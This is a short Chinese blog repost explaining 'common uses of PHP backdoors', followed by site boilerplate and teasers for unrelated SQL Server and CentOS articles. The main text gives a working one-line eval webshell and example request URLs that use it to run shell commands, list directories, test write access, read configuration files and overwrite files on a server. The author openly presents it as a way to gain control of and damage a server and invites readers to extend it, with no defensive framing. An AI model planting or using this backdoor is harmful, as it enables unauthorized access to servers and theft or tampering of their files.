PHP后门的一些用法
今天我们说一些最常见的PHP留后门的一些用法
首先,写一个最简单的后门,也可以叫做木马。
<?php eval($_GET['evl']);
就酱,你已经获得了这台服务器上的很多执行权限。那场景的用法有哪些呢?
打印服务器phpinfo
http://www.test.com/a.php?evl=phpinfo()
查看某个目录下有什么文件
http://www.test.com/a.php?evl=var_dump(system("ls /mnt/web/ -a"));
查看目录是否可写,接下里就可以在可写的目录里创建可执行文件了
http://www.test.com/a.php?evl=var_dump(is_writable("/mnt/web/abc/"));
获取某个文件的内容,一般用来读取配置
http://www.test.com/a.php?evl=var_dump(file_get_contents("/mnt/web/temp/api.php"));
对某个可写目录进行写文件
http://www.test.com/a.php?evl=var_dump(file_put_contents("/mnt/web/temp/api.php",file_get_contents("/mnt/web/script/test.php")));
好了,以上基本已经可以完成对一个服务器的查看的部分破坏了,其他的功能就试着举一反三吧。
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
SQL Server 2008处理隐式数据类型转换在执行计划中的增强
在 SQL Server 查询中,不经意思的隐匿数据类型转换可能导致极大的查询性能问题,比如一个看起来没有任何问题简单的条件:WHERE c = N’x’ ,如果 c 的数据类型是 varchar,并且表中包含大量的数据,这个查询可能导致极大的性能开销,因为这个操作会导致列 c 的数据类型转换为 nvarchar与常量值匹配,在 SQL Server 2008 及之后的版本中,这种操作做了增强,一定程度上降低了性能开销,参考SQL Server 2008 处理隐式数据类型转换在执行计划中的增强 。 不过在实际应用中发现,这种增强有时候似乎没有起到作用,还是会存在很大的性能问题。 最近找时间做了一个测试,找出了一种可能的问题。 1. 创建一个测试表 USE tempdb GOCREATE TABLE _t( c varchar(50) );CREATE INDEX IX_c ON _t( c );GO-- 加入 10000 条数据INSERT _tSELECT (9999 + id) FROM( SELECT TOP 10000 id = ROW_NUMBER() OVER( ORDER...
- 下一篇
新服务器部署(Cent OS 阿里云)
新购入一台阿里云服务器,系统版本是CentOS 7.4,以下是搭建PHP环境的步骤 一、部署yum源 1、打开centos的yum文件夹 输入命令cd /etc/yum.repos.d/ 2、用wget下载repo文件 输入命令wget http://mirrors.aliyun.com/repo/Centos-7.repo 如果wget命令不生效,说明还没有安装wget工具,输入yum -y install wget回车进行安装。 当前目录是/etc/yum.repos.d/,刚刚下载的Centos-7.repo也在这个目录上 3、备份系统原来的repo文件 mv CentOS-Base.repo CentOS-Base.repo.bak 即是重命名 CentOS-Base.repo -> CentOS-Base.repo.bak 4、替换系统原理的repo文件 mv Centos-7.repo CentOS-Base.repo 即是重命名 Centos-7.repo -> CentOs-Base.repo 5、执行yum源更新命令 yum clean all yum m...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- Windows10,CentOS7,CentOS8安装MongoDB4.0.16
- CentOS关闭SELinux安全模块
- CentOS6,7,8上安装Nginx,支持https2.0的开启
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- CentOS8编译安装MySQL8.0.19
- CentOS7安装Docker,走上虚拟化容器引擎之路
- Eclipse初始化配置,告别卡顿、闪退、编译时间过长
- CentOS7,8上快速安装Gitea,搭建Git服务器
- SpringBoot2整合Redis,开启缓存,提高访问速度
- CentOS7设置SWAP分区,小内存服务器的救世主